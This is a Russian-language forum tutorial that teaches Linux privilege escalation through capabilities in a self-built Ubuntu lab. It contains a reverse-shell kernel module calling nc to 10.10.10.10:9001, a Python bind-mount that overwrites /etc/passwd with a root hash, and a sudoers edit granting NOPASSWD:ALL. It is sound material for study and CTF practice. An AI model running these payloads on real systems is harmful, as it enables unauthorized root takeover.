• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Дневник белой шляпы [Часть 4]: Знания [PrivEsc - Linux Capabilities] [Повышение привилегий - Возможности Linux]

grozdniyandy

White-Hat
Premium
Регистрация
11.08.2023
Сообщения
522
Реакции
677
Гарант сделки
2
./Escalate.sh (Вступление)

Большинство людей думают, что все, что я знаю, - это всего лишь немного веба, "SQLi и XSS". Я много раз доказывал, что они ошибаются, но нет способа угодить всем.

В основном я специализируюсь на веб-области, что нормально, но иногда у меня есть причины выйти за рамки веб, например, повышение привилегий в CTF. У вас есть "shell" "Ну и что?", вот тогда в игру вступают знания об операционной системе.

Эта статья посвящена повышению привилегий с помощью возможностей Linux (Linux Capabilities). Это будет / является одной из редких статей, поскольку статей на эту тему не так много, я yвидел только 1 на русском языке, и то было неполно. Я изучаю его по мере того, как пишу.

Все коды, которые я предоставил для создания лабораторной среды, являются моими собственными. Техники могут быть взяты из разных источников, на это не портит "авторское право". Пример: Если кто-то использовал команду "print", это не означает, что команда "print" принадлежит этому человеку.

Предварительные требования
: Знание основ Linux, privilege escalation (basics), понимание TCP/IP и модели OSI, понимание timestamp, инкапсуляция/декапсуляция.

Содержание
  1. Что такое Linux Capabilities?
  2. Лаборатория №1 (Проверка "ping" - Permitted & Effective Capabilities)
  3. Лаборатория №2 (Проверка "ping" - Ambient capabilities)
  4. Лаборатория №3 (CAP_SYS_MODULE PrivEsc)
  5. Лаборатория №4 (CAP_SYS_ADMIN PrivEsc)
  6. Лаборатория №5 (CAP_DAC_OVERRIDE PrivEsc)
  7. Интересные Идеи
Что такое Linux Capabilities?
Обычно, когда мы хотим предоставить разрешения пользователям, не являющимся root, мы делаем это из файла "sudoers". Например, допустим, мы разрешаем пользователю, не являющемуся root, выполнять команду "service", когда пользователь, не являющийся root, выполняет команду "service", набрав "sudo service", команда "service" выполняется с полными правами пользователя root.

Чтобы лучше это понять, представьте себе пользователя root как владельца кафе. Владелец кафе имеет возможность следить за камерой, добавлять новый напиток в меню, менять песни, которые звучат в кафе, изменять дизайн кафе, манипулировать ценами. Теперь давайте предположим, что владелец нанимает специалиста по безопасности (обычного специалиста по безопасности, а не по кибербезопасности / инфозащите). Специалист по безопасности должен следить за камерами, но ему не нужно менять песни в кафе, добавлять новый напиток в меню и т.д. Таким образом, единственная возможность, которой должен обладать специалист по безопасности, - это "камеры наблюдения".
Теперь представьте, что камеры наблюдения - это команда "service" в Linux, в этом случае специалист по безопасности выполняет "sudo service".

Где находятся возможности (capabilities)?

Представьте, что когда специалист по безопасности открывает приложение, которое отслеживает камеры, это приложение "запускает" команду на удаленном сервере, потому что специалист по безопасности входит в приложение мониторинга как администратор. Проблема здесь в том, что специалист по безопасности имеет доступ к этому удаленному серверу, поэтому он может манипулировать командой, которая запускается. Что нам следует делать? Мы должны создать другой профиль в этом приложении для специалиста по безопасности, чтобы при входе в систему другая команда не запускалась на удаленном сервере.

То же самое на самом деле происходит в Linux, когда мы запускаем "sudo service", команда "service" может запустить другую команду в системе, и она будет запущена как "root", потому что "sudo" дает полные привилегии "root".

Возможности Linux (Linux Capablities) - это способ разделить традиционные привилегии суперпользователя (root) на отдельные привилегии, которые могут быть предоставлены конкретным процессам или программам. Например: представьте себе процесс, которому необходимо настроить сетевые параметры, такие как настройка сетевых интерфейсов, изменение таблиц маршрутизации и т.д. Вместо того чтобы предоставлять этому процессу полные привилегии суперпользователя "root", которые предоставили бы ему гораздо больше возможностей, чем необходимо, вы можете назначить "CAP_NET_ADMIN".

В каждом источнике указано разное число, я проверил документацию и увидел в общей сложности 42 возможности.
Код:
CAP_AUDIT_CONTROL
CAP_AUDIT_READ
CAP_AUDIT_WRITE
CAP_BLOCK_SUSPEND
CAP_BPF
CAP_SYS_ADMIN
CAP_CHECKPOINT_RESTORE
CAP_CHOWN
CAP_DAC_OVERRIDE
CAP_DAC_READ_SEARCH
CAP_FOWNER
CAP_FSETID
CAP_IPC_LOCK
CAP_IPC_OWNER
CAP_KILL
CAP_LEASE
CAP_LINUX_IMMUTABLE
CAP_MAC_ADMIN
CAP_MAC_OVERRIDE
CAP_MKNOD
CAP_NET_ADMIN
CAP_NET_BIND_SERVICE
CAP_NET_BROADCAST
CAP_NET_RAW
CAP_PERFMON
CAP_SETGID
CAP_SETFCAP
CAP_SETPCAP
CAP_SETUID
CAP_SYSLOG
CAP_SYS_BOOT
CAP_SYS_CHROOT
CAP_SYS_MODULE
CAP_SYS_NICE
CAP_SYS_PACCT
CAP_SYS_PTRACE
CAP_SYS_RAWIO
CAP_SYS_RESOURCE
CAP_SYS_TIME
CAP_SYS_TTY_CONFIG
CAP_WAKE_ALARM
CAP_INIT_EFF_SET

Лаборатория №1

Прежде чем продолжить работу с лабораториями, мы должны создать среду, в которой мы сможем выполнять действия. Я расскажу о действиях, которые я совершил, вы можете выполнить их, если хотите, или вы можете использовать альтернативные варианты.

Цель этой лабораторной работы - изучить добавлениe "capability". В этой части я скачал ubuntu с нуля, это только для создания среды, которая будет использоваться во всех лабораториях.

Я установил Vmware Fusion 13 Pro (Потому что я использую macOS), лицензионный ключ вы можете найти на github.

Vmware Fusion (MacOS): https://www.vmware[точка]com/products/fusion/fusion-evaluation.html
Vmware Workstation Pro (Windows): https://www.vmware[точка]com/products/workstation-pro.html

Я скачал ubuntu server и начал его настраивать.

Ubuntu Server: https://ubuntu[точка]com/download/server

Возможно, вам будет неудобно настраивать его полностью так, как это делал я, поэтому не стесняйтесь поискать в Интернете "Как установить ubuntu server на vmware".

Я установлю все по умолчанию.
Изображение [1]: По умолчанию

Изображение [1]: По умолчанию

Изображение [2]: По умолчанию

Изображение [2]: По умолчанию

Изображение [3]: По умолчанию

Изображение [3]: По умолчанию

Изображение [4]: По умолчанию

Изображение [4]: По умолчанию​

Теперь я собираюсь выполнить установку и установить все по умолчанию, я понимаю, что это плохая идея, я делаю это, поскольку это тестовая среда.

Изображение [5]: Выбор языка

Изображение [5]: Выбор языка

Изображение [6]: Выбор клавиатуры

Изображение [6]: Выбор клавиатуры

Изображение [7]: По умолчанию

Изображение [7]: По умолчанию

Изображение [8]: По умолчанию

Изображение [8]: По умолчанию​

Я нажал на "Continue without network", но потом произошло вот что (Изображение [9]). Поэтому я просто нажал "Done".

Изображение [9]: По умолчанию

Изображение [9]: По умолчанию


Изображение [10]: По умолчанию

Изображение [10]: По умолчанию​

Подождите немного и нажмите "Done"
Изображение [10]: Ожидание и продолжение работы по умолчанию

Изображение [11]: Ожидание и продолжение работы по умолчанию



Изображение [12]: По умолчанию

Изображение [12]: По умолчанию


Изображение [13]: По умолчанию

Изображение [13]: По умолчанию


Изображение [14]: По умолчанию

Изображение [14]: По умолчанию
Вы можете добавить любые данные, которые пожелаете, просто не забудьте введенные вами данные.
Изображение [15]: Ввод информации

Изображение [15]: Ввод информации
Изображение [16]: По умолчанию

Изображение [16]: По умолчанию


Изображение [17]: По умолчанию

Изображение [17]: По умолчанию


Изображение [18]: По умолчанию

Изображение [18]: По умолчанию

Изображение [19]: Подождите, пока не появится кнопка Reboot Now

Изображение [19]: Подождите, пока не появится кнопка "Reboot Now"

Изображение [20]: По умолчанию

Изображение [20]: По умолчанию​

После ожидания мы видим кнопку "Reboot Now".

Изображение [21]: Наша первая ошибка

Изображение [21]: Наша первая ошибка​

Я получил сообщение об ошибке. За минуту до получения этой ошибки я был рад, что установка прошла без каких-либо ошибок. К счастью, эту ошибку легко устранить, я погуглил это "please remove the installation medium and press enter ubuntu" и получил статью https://askubuntu[точка]com/questions/915814/please-remove-the-installation-medium-then-press-enter, ответ таков "The installation is asking you to remove whatever media (e.g. USB drive, CD, DVD, etc) that you used to boot the installer and then press the Enter key to reboot the machine.". В моем случае я скачал iso-файл из https://ubuntu[точка]com/download/server, так что все, что мне нужно было сделать, это удалить этот файл и просто нажать "Enter".

Изображение [22]: Наше первое решение

Изображение [22]: Наше первое решение​

После перезагрузки пришло много "крутых" сообщений терминала, я снова нажал enter и ввел свое сверхпрочное имя пользователя и пароль. (шутка)

Изображение [23]: Готовый ubuntu

Изображение [23]: Готовый ubuntu​


Теперь наш сервер ubuntu готов, и мы можем приступить к созданию нашей лабораторной среды. Первое, что нужно сделать, это сделать снимок (snapshot). С этим мы можем просто вернуться назад, если что-то испортим.

Не рекомендуется делать снимок во время работы операционной системы! Но я делаю это.

Изображение [24]: Создание моментального снимка (snapshot)

Изображение [24]: Создание моментального снимка (snapshot)

Изображение [25]: Создание моментального снимка (snapshot)

Изображение [25]: Создание моментального снимка (snapshot)

Изображение [26]: Создание моментального снимка (snapshot)

Изображение [26]: Создание моментального снимка (snapshot)

Чтобы проверить, был ли создан моментальный снимок или нет, сделайте, как в "Изображение [24]"

Наконец-то мы можем приступить к настройке нашей лаборатории.

Много часов, размышлений позже...

Bash:
sudo git clone https://github.com/sryze/ping.git
sudo apt update
sudo apt install cmake
cd ping
sudo mkdir build && cd build
sudo cmake ../ -G "Unix Makefiles"
sudo make
./ping 1.1.1.1

Изображение [27]: ./ping 1.1.1.1

Изображение [27]: ./ping 1.1.1.1​

Мы видим, что это не работает, это потому, что мы еще не предоставили возможность, позволяющую работать с сокетом. Чтобы лучше понять это, вы должны понимать, как связаны ping и сокет.

Давайте разберемся, как работает команда ping. Команда ping - это сетевая утилита, используемая для диагностики проблем с подключением к сети и измерения задержки между источником и удалением. Для этого ping использует ICMP (Internet Control Message Protocol), который является протоколом в пакете IP (Internet Protocol).

Если бы эта тема была в моих предыдущих статьях, я бы посоветовал вам изучить ICMP, но на этот раз я этого не сделаю. Я объясню это здесь.

ICMP - это сетевой протокол, используемый для диагностики сети (в большинстве источников пишется что он сообщает о ошибках или сбоях сети). Он функционирует на сетевом уровне TCP/IP или OSI.

Как ICMP работает в утилите ping utility?

Запас слов:
Мы - исходный хост/IP
Сервер, на который мы отправляем запрос - конечный хост/IP, местo назначения, целевой хост

Мы также можем ввести домен в ping, он все равно будет преобразован в IP-адрес.

Не копипаст. Я не изобретал "ping", данные, записанные здесь, основаны исключительно на информации, которую я узнал (из различных источников).
  1. Отправка echo-запроса ICMP (Ping-запрос):
    • Когда вы запускаете команду ping, за которой следует IP-адрес, она отправляет сообщение ICMP Echo Request на указанный IP-адрес назначения. Echo-запрос ICMP включает уникальный идентификатор и порядковый номер, чтобы помочь сопоставить запросы с соответствующими ответами. (Это похоже на телефонный звонок: ваш друг видит ваш номер и принимает вызов)
  2. Маршрутизация и передача данных по сети (запрос):
    • Сообщение ICMP Echo Request инкапсулируется в IP-пакет, затем оно отправляется через сетевую инфраструктуру (маршрутизаторы и т.д., Которые помогают ему достичь места назначения).
  3. Получение echo-запроса ICMP:
    • Конечный хост (destination) получает сообщение ICMP Echo Request.
  4. Генерация echo-ответа ICMP (Ping-ответ):
    • В ответ на полученный ICMP-echo-request целевой узел генерирует ICMP-echo-reply сообщение, которое содержит тот же идентификатор и порядковый номер, что и исходный запрос, для обеспечения надлежащего сопоставления. (Это похоже на то, когда вам звонит ваш друг, он знает ваш номер с первого звонка и может убедиться, что это правильный номер для звонка)
  5. Маршрутизация и передача данных по сети (ответ):
    • Echo-reply сообщение ICMP инкапсулируется в IP-пакет, при этом IP-адрес источника устанавливается равным IP-адресу целевого хоста, а IP-адрес назначения - IP-адресу исходного хоста. (То же, что и во второй части)
  6. Получение echo-ответа ICMP:
    • Мы получаем ответное сообщение ICMP Echo.
  7. Расчет времени в оба конца (RTT):
    • Время в оба конца (RTT - Round-Trip Time) - это показатель, который измеряет время, необходимое пакету данных для прохождения от источника к месту назначения и затем обратно от места назначения к источнику. Команда ping вычисляет время прохождения в оба конца (RTT) путем измерения разницы во времени между отправкой echo-запроса ICMP и получением соответствующего echo-ответа. (Для этого используется временная метка/timestamp)
  8. Отображение результатов:
    • Команда ping отображает результаты на вашем терминале. Обычно это включает информацию о RTT, количестве отправленных и полученных пакетов и проценте потери пакетов.
Ping использует базовые сетевые механизмы, которые реализуются с использованием сокетов. Сокет используется для установления сетевых подключений и управления ими. Когда команда ping отправляет echo-запросы ICMP и получает echo-ответы ICMP, она использует сокеты.

Это похоже на историю сотрудника службы безопасности, о которой я рассказывал ранее. Камеры наблюдения из приложения выполняют код на удаленном сервере. В нашем случае использование ping заставляет сокеты работать в фоновом режиме.

Давайте заменим существующую команду ping на ту, которую мы создали.

Bash:
sudo rm -rf /usr/bin/ping
sudo cp ping /usr/bin/ping
ping 1.1.1.1

Изображение [28]: ping 1.1.1.1

Изображение [28]: ping 1.1.1.1​

Давайте проверим возможности (capabilities) ping.

Bash:
sudo getcap /usr/bin/ping

Изображение [29]: Получение возможностей пинга

Изображение [29]: Получение возможностей пинга
Как вы видите, возможности ping пусты. Мы можем использовать "getcap <расположение файла>", чтобы получить возможности исполняемого файла. Вот причина, по которой ping не работает, мы знаем, что для работы ping он должен использовать "сокет". Прежде чем идти дальше, я сказал вам, что "root" имеет полную мощность, поэтому, если мы будем использовать "sudo ping 1.1.1.1" или ping от имени пользователя "root", это сработает.

Изображение [30]: sudo ping 1.1.1.1

Изображение [30]: sudo ping 1.1.1.1​


Теперь давайте перейдем к нашему руководству о возможностях https://man7[точка]org/linux/man-pages/man7/capabilities.7.html. Существует возможность, называемая "CAP_NET_RAW" который позволяет использовать сокет.

Мы можем использовать эту команду, чтобы добавить возможность "CAP_NET_RAW". Команда "setcap" используется для добавления возможностей. Мы можем использовать команду в этой форме "setcap <название возможности><+/-/=> <расположение файла>"

Bash:
sudo setcap "cap_net_raw+ep" /usr/bin/ping
ping 1.1.1.1

Изображение [31]: Добавление возможности для ping

Изображение [31]: Добавление возможности для ping​


Первая лабораторная работа решена, мы добавили возможность "пинговать" и теперь понимаем, как это работает.

Лаборатория №2
Вопросы возникают из первой лабораторной работы "Что означает '+ep' в 'sudo setcap "cap_net_raw+ep" /usr/bin/ping'?" Ну, для этого мы должны понимать типы возможностей.

Типы возможностей (capabilities)

Разрешенные (Permitted) возможности
: Разрешенные возможности определяют набор возможностей, которые разрешено использовать процессу.
Эффективные (Effective) возможности: Эффективные возможности определяют фактические возможности, которые процесс в настоящее время использует.
Наследуемая (Inheritable) возможность - Наследуемые возможности определяют возможности, которые могут быть унаследованы "child" процессами при их создании. Это означает, что "child" процесс будет обладать теми же возможностями, что и родительский процесс. Они используются с внешними (ambient) возможностями
Внешние (Ambient) возможности
: объясняю...

Когда процесс пытается выполнить pазрешеннoе действие (например, открыть сетевой сокет как мы делали в ping), ядро проверяет эффективные возможности процесса, чтобы проверить, разрешено ли выполнять это действие или нет. В нашем случае, когда мы добавили '+ep', система может гарантировать, что процесс может использовать только те привилегии, которые ему явно предоставлены.

"Child" процесс относится к процессу, который создается другим процессом, известным как родительский (parent) процесс. "Child" процесс является дубликатом родительского процесса на момент создания.

Внешние (Ambient) возможности используются для того, чтобы позволить процессу сохранять возможности, которые он может передать своим "child" процессам, без добавления этих возможностей в разрешенные или эффективные наборы "child" процессов. Когда процесс обладает этой возможностью, он может использовать ее для выполнения привилегированных действий или операций. Разница в том, что эти возможности являются внешними и временными и действуют только при создании "child" процессов.

Чтобы внешниe возможности работали, они должны поддерживаться ядром. Не все версии ядра могут поддерживать эту возможность. Насколько я понимаю, мы должны написать код на C, чтобы установить эту возможность. Для установки этой возможности требуется функция "CAP_SETFCAP". Как только вы устанавливаете внешнюю возможность для процесса, эта возможность становится доступной в среде. Когда вы создаете "child" процессы из родительского (parent) процесса, который содержит внешние возможности, "child" процессы наследуют внешние возможности.

Таким образом, эти возможности являются временными, и они предоставляются родительскому процессу, после предоставления этих возможностей родительскому процессу "child" процесс унаследуeт эту возможность. Эти возможности НЕ добавляются к "child" процессу, они вступают в силу только при создании "child" процесса (временно унаследуют кароче).

Я написал все это только на основе того, что я понял, и вы вольны это исправить.

Теперь перейдем к нашей лаборатории, давайте удалим разрешенные и эффективные возможности, которые мы предоставили нашей команде ping.

Bash:
sudo setcap 'cap_net_raw-ep' /usr/bin/ping

Изображение [32]: Удаление возможности для ping

Изображение [32]: Удаление возможности для ping​


Теперь пришло время добавить "Внешние" возможности. Как я уже говорил ранее, мы должны использовать код, написанный на "C". Вот готовый скрипт для этого (https://gist.github[точка]com/infinity0/596845b5eea3e1a02a018009b2931a39)
C:
/*
 * Test program for the ambient capabilities
 *
 * You need to install libcap-ng-dev first, then compile using:
 *  $ gcc -lcap-ng -o ambient ambient.c && sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
 *
 * To get a shell with additional caps that can be inherited do:
 *
 * ./ambient /bin/bash
 */

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/prctl.h>
#include <linux/capability.h>
#include <cap-ng.h>

static void set_ambient_cap(int cap)
{
    int rc;

    capng_get_caps_process();
    rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);
    if (rc) {
        printf("Cannot add inheritable cap\n");
        exit(2);
    }
    capng_apply(CAPNG_SELECT_CAPS);

    /* Note the two 0s at the end. Kernel checks for these */
    if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) {
        perror("Cannot set cap");
        exit(1);
    }
}

void usage(const char *me) {
    printf("Usage: %s [-c caps] new-program new-args\n", me);
    exit(1);
}

int default_caplist[] = {CAP_NET_RAW, CAP_NET_ADMIN, CAP_SYS_NICE, -1};

int *get_caplist(const char *arg) {
    int i = 1;
    int *list = NULL;
    char *dup = strdup(arg), *tok;

    for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) {
        list = realloc(list, (i + 1) * sizeof(int));
        if (!list) {
            perror("out of memory");
            exit(1);
        }
        list[i-1] = atoi(tok);
        list[i] = -1;
        i++;
    }
    return list;
}

int main(int argc, char **argv)
{
    int rc, i, gotcaps = 0;
    int *caplist = NULL;
    int index = 1; // argv index for cmd to start

    if (argc < 2)
        usage(argv[0]);

    if (strcmp(argv[1], "-c") == 0) {
        if (argc <= 3) {
            usage(argv[0]);
        }
        caplist = get_caplist(argv[2]);
        index = 3;
    }

    if (!caplist) {
        caplist = (int *)default_caplist;
    }

    for (i = 0; caplist[i] != -1; i++) {
        printf("adding %d to ambient list\n", caplist[i]);
        set_ambient_cap(caplist[i]);
    }

    printf("Ambient forking shell\n");
    if (execv(argv[index], argv + index))
        perror("Cannot exec");

    return 0;
}


Как сказано в коде "You need to install libcap-ng-dev first, then compile using" - сначала мы должны установить libcap-ng-dev

Bash:
 sudo apt install libcap-ng-dev

Изображение [33]: Установка libcap-ng-dev

Изображение [33]: Установка libcap-ng-dev​

Некоторое время спустя....

Итак, если мы сделаем так, как сказано в коде
Bash:
gcc -lcap-ng -o ambient ambient.c
мы получим сообщение об ошибке.

Изображение [34]: Cообщение об ошибке

Изображение [34]: Cообщение об ошибке​

Чтобы предотвратить это, мы должны выполнить
Bash:
gcc -o ambient ambient.c -lcap-ng

Изображение [35]: Создаем исполняемый файл из нашего C-кода

Изображение [35]: Создаем исполняемый файл из нашего C-кода​


Некоторое время спустя....

Оказывается, в ubuntu, которую я установил, нет возможности "cap_setpcap". Итак, мы должны запустить
Bash:
sudo setcap cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient

Приведенный выше код добавляет возможность, которая позволит нам запустить команду "ping", мы также использовали "+i" (+eip = +e,+i,+p), которая является наследуемой возможностью, которая работает вместе с возможностью окружения.

Теперь, чтобы проверить, работает ли команда "ping" или нет, мы можем использовать ее. Для этого давайте перейдем в нашу папку "build", которую мы создали, когда устанавливали ping с нуля, и запустим
Bash:
./ping 1.1.1.1
Как мы видим, команда ping не работает. Теперь давайте запустим наш "ambient" исполняемый файл.

Bash:
cd ping/build
./ping 1.1.1.1
cd
./ambient /bin/bash
cd ping/build
./ping 1.1.1.1

Изображение [36]: Тестирование возможности ambient

Изображение [36]: Тестирование возможности "ambient"​

Мы решили лабораторию. Когда мы использовали возможность "ambient", мы фактически создали оболочку (shell), и внутри этой "оболочки" у нашего пользователя была возможность "cap_net_raw", которая необходима для выполнения исполняемого файла "ping".

Но как проверить возможности пользователя?

Есть 2 способа сделать это.
  1. Простой способ - выполнить capsh --print
  2. Второй способ - выполнить grep Cap /proc/$BASHPID/status. И расшифровать "разрешенную" возможность с помощью "capsh --decode"
Изображение [37]: Способы

Изображение [37]: Способы

Лаборатория №3

Давайте подумаем, что на самом деле представляет собой "Повышение привилегий". Когда мы говорим о "повышении привилегий", все, что приходит нам на ум, - это стать "root", но на самом деле речь идет об увеличении привилегий конкретного пользователя для выполнения какого-либо действия. Например, вы, как студент, можете только слушать лекции. Однажды ваш учитель не приходит, и вы начинаете объяснять уроки. Tак что, по сути, "вы" (ученик) расширили свои привилегии, читая лекции, но вы не "стали" своим учителем.

ХА-ХА-ХА, теперь вы можете подумать, что я обманом заставил вас прочитать / сделать все это только для того, чтобы сделать какое-то бесполезное повышение привилегий, нет, я этого не делал, мы создадим лабораторию и будем root!

Ядро подобно сердцу человека, оно управляет аппаратными ресурсами и предоставляет необходимые сервисы приложениям. Модуль ядра - это код, который может быть загружен в работающее ядро операционной системы для расширения его функциональности, не требуя перезагрузки. Хорошо, мы все это поняли, но от имени какого пользователя выполняется этот код? Что ж, это будет выполнено в контексте самого ядра, а не в контексте конкретного пользователя. Он не привязан к конкретному пользователю.

Что произойдет, если мы вставим наш собственный модуль ядра? Что, если этот модуль будет содержать обратную оболочку (reverse shell)? Если я вставляю обратную оболочку (reverse shell) в модуль ядра, пользователь, который подключится к моей оболочке, обычно будет пользователем, обладающим необходимыми привилегиями для выполнения кода, запускающего обратную оболочку. Модули ядра обычно загружаются и выполняются в контексте ядра, поэтому пользователь, инициирующий подключение, может отличаться от пользователя, загрузившего модуль. Итак, мы попытаемся загрузить модуль как непривилегированный (unprivileged) пользователь и получить обратную оболочку как привилегированный (privileged) пользователь.

Создание лаборатории

Прежде чем продолжить, выйдите из оболочки второй лаборатории. Просто используйте команду exit.

Используйте этот код для создания лабораторной среды.

Bash:
sudo setcap 'cap_sys_module+ep' /usr/bin/kmod
getcap -r / 2>/dev/null

Мы использовали команду getcap, чтобы получить список команд, которые обладают возможностями.

Изображение [38]: Создание лаборатории

Изображение [38]: Создание лаборатории​


Решение лабораторной задачи

Цель этой лабораторной работы - стать root, злоупотребляя CAP_SYS_MODULE, который мы только что добавили в качестве возможности к команде kmod.

В любом случае, что такое CAP_SYS_MODULE? Возможность CAP_SYS_MODULE позволяет пользователю загружать и выгружать модули ядра, даже не будучи пользователем root. И мы уже знаем, что можем загружать модули ядра во время работы нашей операционной системы.

Если мы можем загрузить модуль ядра, это означает, что мы должны написать обратную оболочку (reverse shell) на "C", скомпилировать ее и загрузить как модуль ядра.

Вы не поверите, но я заставил ChatGPT написать обратную оболочку (reverse shell) на "C".

Изображение [39]: ChatGPT Reverse Shell

Изображение [39]: ChatGPT Reverse Shell​


C:
#include <linux/module.h>
#include <linux/kmod.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Your Name");

static char *argv[] = { "/bin/bash", "-c", "nc 127.0.0.1 4444 -e /bin/bash", NULL };
static char *envp[] = { "HOME=/", "TERM=linux", "PATH=/sbin:/usr/sbin:/bin:/usr/bin", NULL };

static int __init reverse_shell_init(void) {
    printk(KERN_INFO "Reverse shell module loaded\n");

    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);

    return 0;
}

static void __exit reverse_shell_exit(void) {
    printk(KERN_INFO "Reverse shell module unloaded\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

Теперь мы должны скомпилировать его, для этого мы должны создать "MakeFile".


Код:
obj-m += RevShellXSS.o

all:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Для компиляции используйте команду make, если вы получаете ошибку, вероятно, это связано с заголовками Linux, просто переустановите их следующим образом:
Bash:
sudo apt install --reinstall linux-headers-$(uname -r)
 
Последнее редактирование:
Я отредактировал обратную оболочку из ChatGPT, теперь она выглядит следующим образом:

C:
#include <linux/module.h>
#include <linux/kmod.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("grozdniyandy of xss.pro");

static char *argv[] = { "/bin/bash", "-c", "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.10.10 9001 >/tmp/f", NULL };
static char *envp[] = { "HOME=/", "TERM=linux", "PATH=/sbin:/usr/sbin:/bin:/usr/bin", NULL };

static int __init reverse_shell_init(void) {
printk(KERN_INFO "Reverse shell module loaded\n");

return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);

return 0;
}

static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Reverse shell module unloaded\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

Хорошо, я использовал команду make и скомпилировал.

Изображение [40]: Создание модуля ядра

Изображение [40]: Создание модуля ядра​


Теперь все, что осталось сделать, это запустить прослушиватель и вставить модуль ядра в работающую ОС. Я не выполнял никаких команд, так как мой слушатель находится в фоновом режиме. (я добавил "&" в конце nc)


Изображение [41]: Захват системы =)

Изображение [41]: Захват системы =)​

Теперь мы решили лабораториую.

Лаборатория №4

Мы все знаем файл /etc/passwd. Он не хранит пароли, пароли хранятся в /etc/shadow, но знаете ли вы, что на самом деле мы можем сгенерировать и поместить хэш пароля в /etc/passwd, и это изменит пароль этого пользователя.

Существует возможность, называемая CAP_SYS_ADMIN. Если процесс обладает такой возможностью, он может монтировать/размонтировать файловую систему.

Я не собираюсь объяснять, как монтировать и размонтировать, поскольку я в этом не силен, просто погуглите это. Но для этого случая вы должны понимать "bind mount". Это делает определенный каталог или файл из одного места доступным в другом месте внутри одной и той же файловой системы.

Создание лаборатории

Сначала перезагрузите свою виртуальную машину (из-за предыдущей лабораторной работы) и просто используйте приведенный ниже код:

Bash:
sudo setcap 'cap_sys_admin+ep' /usr/bin/python3.10

Изображение [42]: Создание лаборатории

Изображение [42]: Создание лаборатории​

Решение лабораторной задачи

Цель этой лабораторной работы - стать root-пользователем, злоупотребляя возможностью "CAP_SYS_ADMIN". Возможность CAP_SYS_ADMIN установлена в /usr/bin/python3.10 .Эта возможность используется для монтирования/размонтирования, и мы знаем, что можно монтировать/размонтировать с помощью python.

Технически, насколько я понимаю, мы можем редактировать любой файл, который захотим. Если мы хотим стать 'root', мы можем просто отредактировать файл '/etc/passwd' , создать новый пароль и заменить его паролем "root".

Давайте разберемся, что мы должны делать шаг за шагом. Сначала мы должны создать пароль с помощью команды:
Bash:
sudo openssl passwd -1 -salt xss password
Затем мы должны скопировать файл /etc/passwd в наш домашний каталог и заменить "x" в "root", паролем который мы создали. Затем мы должны создать скрипт на python, который заменит исходный файл /etc/passwd на тот, который мы создали. И скрипт на python должен работать, потому что у него есть возможность 'CAP_SYS_ADMIN'.
 
Последнее редактирование:
Изображение [43]: Редактирование файла passwd

Изображение [43]: Редактирование файла "passwd"​


Поскольку у нас есть файл "passwd" в нашем домашнем каталоге, мы должны заменить его оригинальным файлом "passwd" внутри каталога "/etc". Для этого мы должны использовать скрипт на python, я назову его "xss.py "

Python:
from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"/home/cap/passwd"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)


Изображение [44]: Решение лабораторной задачи

Изображение [44]: Решение лабораторной задачи​

Я сам не писал этот код, но, насколько я понимаю, этот код загружает стандартную библиотеку C 'libc' в Python, используя библиотеку 'ctypes', и так он напрямую вызывает системные функции.

Лаборатория №5

В этой лабораторной работе мы будем злоупотреблять возможностью CAP_DAC_OVERRIDE. Для этого мы должны сначала понять, что такое DAC вообще? Дискреционный контроль доступа (DAC) - это модель используемая для определения того, кто имеет доступ к определенным ресурсам. Функция CAP_DAC_OVERRIDE в Linux предоставляет процессу возможность обходить дискреционный контроль доступа (DAC), что означает, что мы в принципе можем получить доступ к любому файлу и редактировать его по своему усмотрению.
Теперь, пожалуйста, используйте "снимок" (snapshot) , который был у нас раньше, чтобы вернуться назад, мы хотим сделать это для создания новой лаборатории. Поскольку мы перепутали файл "passwd" (Лаборатория №4), создание нового пользователя может оказаться проблематичным. Я думаю, вы должны быть в состоянии сделать это сами.

Создание лаборатории
Чтобы создать эту лабораторию, мы должны создать нового пользователя "xss" БЕЗ привилегий sudo, а также мы должны добавить возможность к команде "nano". Пришло время создать нашу лабораторию, не стесняйтесь использовать этот код:

Bash:
sudo setcap 'cap_dac_override+ep' /usr/bin/nano
sudo adduser xss
getcap -r / 2>/dev/null
Изображение [45]: Создание лаборатории

Изображение [45]: Создание лаборатории​
Как мы знаем из того, что я написал выше, возможность 'CAP_DAC_OVERRIDE' позволит нам просматривать и редактировать любой файл, который мы захотим. Таким образом, я могу в принципе отредактировать файл "/etc/sudoers" как НЕПРИВИЛЕГИРОВАННЫЙ пользователь и позволить себе выполнить sudo.
Команды для этого:

Bash:
su xss
cd
nano /etc/sudoers


Изображение [46]: Редактирование файла sudoers

Изображение [46]: Редактирование файла sudoers

Как вы можете видеть, сначала мы не можем выполнить команду sudo, потому что мы не входим в группу sudoers. Мы можем добавить себя в группу sudoers и разрешить себе выполнять команды, не требуя пароля, добавив эту строку:

Bash:
xss ALL=(ALL) NOPASSWD:ALL

Изображение [47]: Редактирование файла sudoers

Изображение [47]: Редактирование файла sudoers​


Теперь мы можем перечислить разрешения нашего пользователя с помощью команды sudo -l, как вы можете видеть, мы можем выполнить любую команду без пароля (включая команду sudo -l). Итак, мы можем сделать следующее и стать root

Изображение [48]: Захват системы =)

Изображение [48]: Захват системы =)


Интересные Идеи

